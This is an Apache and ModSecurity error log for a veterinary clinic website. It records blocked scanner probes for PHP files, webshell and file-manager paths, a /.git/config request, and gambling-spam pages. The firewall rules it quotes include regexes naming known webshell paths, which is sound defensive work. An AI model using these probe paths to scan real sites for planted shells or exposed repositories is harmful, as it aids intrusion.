[Sat Jan 31 21:25:30.134334 2026] [:error] [pid 31465:tid 31498] [client 20.210.88.226:3419] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aX4CyjkaGp475ez0mlwUaAAAAkQ"]
[Sat Jan 31 21:25:32.664819 2026] [:error] [pid 31465:tid 31516] [client 20.210.88.226:14826] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aX4CzDkaGp475ez0mlwUbgAAAlY"]
[Sat Jan 31 21:25:38.989729 2026] [:error] [pid 18773:tid 18790] [client 20.210.88.226:3780] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aX4C0tHy21j24IPrB1XzEQAAAY8"]
[Sat Jan 31 21:25:41.142092 2026] [:error] [pid 59582:tid 59635] [client 20.210.88.226:15767] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aX4C1Y5dwpvvp1Lc6f19-AAAA9Y"]
[Sat Jan 31 21:25:42.816789 2026] [:error] [pid 39339:tid 39357] [client 20.210.88.226:3885] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aX4C1sWi-IjigR3oHY6DtQAAANA"]
[Sat Jan 31 21:25:43.851408 2026] [:error] [pid 31430:tid 31438] [client 20.210.88.226:8349] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aX4C18cb14YPxXg_g5FQVwAAAEQ"]
[Sat Jan 31 21:25:44.790546 2026] [:error] [pid 18773:tid 18799] [client 20.210.88.226:3828] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aX4C2NHy21j24IPrB1XzFAAAAZg"]
[Sat Jan 31 21:25:45.958598 2026] [:error] [pid 44533:tid 44583] [client 20.210.88.226:3891] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "aX4C2YNjc98kHMNVmntMCgAAAdQ"]
[Sat Jan 31 21:25:47.552431 2026] [:error] [pid 31465:tid 31506] [client 20.210.88.226:3928] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "aX4C2zkaGp475ez0mlwUiQAAAkw"]
[Sat Jan 31 21:25:50.228540 2026] [:error] [pid 44533:tid 44580] [client 20.210.88.226:3224] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "aX4C3oNjc98kHMNVmntMDgAAAdE"]
[Sat Jan 31 21:25:56.977977 2026] [:error] [pid 18803:tid 18827] [client 20.210.88.226:14827] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/image.php"] [unique_id "aX4C5C2kTcRk9EBIxOGWYwAAAhU"]
[Sat Jan 31 21:26:02.355074 2026] [:error] [pid 39242:tid 39278] [client 20.210.88.226:10727] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/990.php"] [unique_id "aX4C6tOgXnkKGGSSCINDjwAAABg"]
[Sat Jan 31 21:26:02.721743 2026] [:error] [pid 39339:tid 39344] [client 20.210.88.226:3256] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/990.php"] [unique_id "aX4C6sWi-IjigR3oHY6D0gAAAMM"]
[Sat Jan 31 21:26:08.423787 2026] [:error] [pid 31465:tid 31496] [client 20.210.88.226:10691] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/990.php"] [unique_id "aX4C8DkaGp475ez0mlwUrgAAAkI"]
[Sat Jan 31 21:26:19.722848 2026] [:error] [pid 31430:tid 31449] [client 20.210.88.226:8734] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aX4C-8cb14YPxXg_g5FQfgAAAE8"]
[Sat Jan 31 21:26:24.733681 2026] [:error] [pid 44533:tid 44582] [client 20.210.88.226:13909] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bypass.php"] [unique_id "aX4DAINjc98kHMNVmntMTgAAAdM"]
[Sat Jan 31 21:27:32.702483 2026] [:error] [pid 44533:tid 44579] [client 20.210.88.226:14603] [client 20.210.88.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aX4DRINjc98kHMNVmntMlQAAAdA"]
[Sat Jan 31 21:27:43.710657 2026] [:error] [pid 31465:tid 31512] [client 20.210.88.226:22883] [client 20.210.88.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aX4DTzkaGp475ez0mlwVYgAAAlI"]
[Sat Jan 31 21:27:53.931785 2026] [:error] [pid 31465:tid 31511] [client 20.210.88.226:8779] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aX4DWTkaGp475ez0mlwVdQAAAlE"]
[Sat Jan 31 21:27:56.824996 2026] [:error] [pid 39339:tid 39354] [client 20.210.88.226:15105] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aX4DXMWi-IjigR3oHY6ESwAAAM0"]
[Sat Jan 31 21:27:59.514506 2026] [:error] [pid 59523:tid 59543] [client 20.210.88.226:10283] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pro.php"] [unique_id "aX4DX5EkxOIGmVhqUWKHOwAAAxA"]
[Sat Jan 31 21:28:11.299012 2026] [:error] [pid 31430:tid 31448] [client 20.210.88.226:3092] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aX4Da8cb14YPxXg_g5FRDwAAAE4"]
[Sat Jan 31 21:28:13.062094 2026] [:error] [pid 39339:tid 39358] [client 20.210.88.226:12891] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aX4DbcWi-IjigR3oHY6ETwAAANE"]
[Sat Jan 31 21:28:15.277355 2026] [:error] [pid 31465:tid 31504] [client 20.210.88.226:10499] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aX4DbzkaGp475ez0mlwVjAAAAko"]
[Sat Jan 31 21:28:16.931024 2026] [:error] [pid 44533:tid 44580] [client 20.210.88.226:10500] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error.php"] [unique_id "aX4DcINjc98kHMNVmntMtwAAAdE"]
[Sat Jan 31 21:28:21.761129 2026] [:error] [pid 31465:tid 31512] [client 20.210.88.226:3337] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX4DdTkaGp475ez0mlwVkwAAAlI"]
[Sat Jan 31 21:28:26.050599 2026] [:error] [pid 44533:tid 44567] [client 20.210.88.226:10252] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX4DeoNjc98kHMNVmntMvgAAAcQ"]
[Sat Jan 31 21:28:28.048935 2026] [:error] [pid 18773:tid 18778] [client 20.210.88.226:23040] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX4DfNHy21j24IPrB1XzkQAAAYM"]
[Sat Jan 31 21:28:30.171446 2026] [:error] [pid 18803:tid 18821] [client 20.210.88.226:8772] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aX4Dfi2kTcRk9EBIxOGW-AAAAg8"]
[Sat Jan 31 21:28:30.969255 2026] [:error] [pid 59582:tid 59631] [client 20.210.88.226:22923] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aX4Dfo5dwpvvp1Lc6f1-WgAAA9I"]
[Sun Feb 01 00:21:20.187494 2026] [ssl:error] [pid 44533:tid 44574] [client 15.204.183.221:39958] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Sun Feb 01 01:06:08.927398 2026] [ssl:error] [pid 59523:tid 59528] [client 15.204.183.221:5016] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Sun Feb 01 03:01:13.140747 2026] [ssl:error] [pid 39339:tid 39348] [client 15.204.161.7:63390] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Sun Feb 01 03:39:05.323260 2026] [ssl:error] [pid 44410:tid 44433] [client 15.204.161.7:16040] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Sun Feb 01 04:35:15.880246 2026] [:error] [pid 10506:tid 10524] [client 34.125.137.186:57672] [client 34.125.137.186] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aX5ng632IC2Db4uwFyOBAwAAAAg"]
[Sun Feb 01 05:04:18.311317 2026] [ssl:error] [pid 10506:tid 10536] [client 40.160.16.154:57750] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Sun Feb 01 05:27:21.146177 2026] [ssl:error] [pid 10506:tid 10519] [client 40.160.16.154:52162] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Sun Feb 01 07:28:07.003314 2026] [:error] [pid 10616:tid 10623] [client 51.77.43.72:42998] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aX6QB2d8pZdmVx6pUp4AjwAAAMM"]
[Sun Feb 01 07:28:07.080220 2026] [:error] [pid 10616:tid 10636] [client 51.77.43.72:43026] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aX6QB2d8pZdmVx6pUp4AkQAAANA"]
[Sun Feb 01 07:28:07.111336 2026] [:error] [pid 10616:tid 10635] [client 51.77.43.72:43016] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aX6QB2d8pZdmVx6pUp4AkgAAAM8"]
[Sun Feb 01 07:28:07.537499 2026] [:error] [pid 2033:tid 2046] [client 51.77.43.72:43008] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aX6QB_F7B4oR5nK3T_MhqgAAAQs"]
[Sun Feb 01 07:28:09.547391 2026] [:error] [pid 10506:tid 10519] [client 51.77.43.72:46142] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX6QCa32IC2Db4uwFyO3SgAAAAM"]
[Sun Feb 01 07:28:09.665128 2026] [:error] [pid 10506:tid 10524] [client 51.77.43.72:46150] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX6QCa32IC2Db4uwFyO3SwAAAAg"]
[Sun Feb 01 07:28:09.846709 2026] [:error] [pid 10616:tid 10642] [client 51.77.43.72:46166] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX6QCWd8pZdmVx6pUp4AmAAAANY"]
[Sun Feb 01 07:28:10.164957 2026] [:error] [pid 2033:tid 2040] [client 51.77.43.72:46182] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX6QCvF7B4oR5nK3T_MhtAAAAQU"]
[Sun Feb 01 07:28:12.258007 2026] [:error] [pid 2033:tid 2042] [client 51.77.43.72:46250] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aX6QDPF7B4oR5nK3T_MhzAAAAQc"]
[Sun Feb 01 07:28:12.258007 2026] [:error] [pid 10508:tid 10565] [client 51.77.43.72:46234] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aX6QDAFwdoMQv5EWp9t9vAAAAFU"]
[Sun Feb 01 07:28:12.574252 2026] [:error] [pid 10509:tid 10583] [client 51.77.43.72:46258] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aX6QDFMNpJBihOJgwVsAZgAAAIw"]
[Sun Feb 01 07:28:12.749228 2026] [:error] [pid 10509:tid 10571] [client 51.77.43.72:46268] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aX6QDFMNpJBihOJgwVsAZwAAAIA"]
[Sun Feb 01 07:28:14.830626 2026] [:error] [pid 10509:tid 10588] [client 51.77.43.72:46278] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX6QDlMNpJBihOJgwVsAagAAAJE"]
[Sun Feb 01 07:28:14.857731 2026] [:error] [pid 10509:tid 10575] [client 51.77.43.72:46292] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX6QDlMNpJBihOJgwVsAawAAAIQ"]
[Sun Feb 01 07:28:15.279334 2026] [:error] [pid 2033:tid 2040] [client 51.77.43.72:47544] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX6QD_F7B4oR5nK3T_Mh0gAAAQU"]
[Sun Feb 01 07:28:15.363739 2026] [:error] [pid 10509:tid 10573] [client 51.77.43.72:47546] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aX6QD1MNpJBihOJgwVsAbQAAAII"]
[Sun Feb 01 07:28:17.535857 2026] [:error] [pid 10509:tid 10586] [client 51.77.43.72:47560] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX6QEVMNpJBihOJgwVsAcgAAAI8"]
[Sun Feb 01 07:28:17.624808 2026] [:error] [pid 10509:tid 10577] [client 51.77.43.72:47570] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX6QEVMNpJBihOJgwVsAcwAAAIY"]
[Sun Feb 01 07:28:17.822226 2026] [:error] [pid 10506:tid 10538] [client 51.77.43.72:47578] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX6QEa32IC2Db4uwFyO3VwAAABY"]
[Sun Feb 01 07:28:17.850576 2026] [:error] [pid 10506:tid 10527] [client 51.77.43.72:47588] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX6QEa32IC2Db4uwFyO3WAAAAAs"]
[Sun Feb 01 07:28:20.243251 2026] [:error] [pid 10506:tid 10537] [client 51.77.43.72:47600] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX6QFK32IC2Db4uwFyO3YQAAABU"]
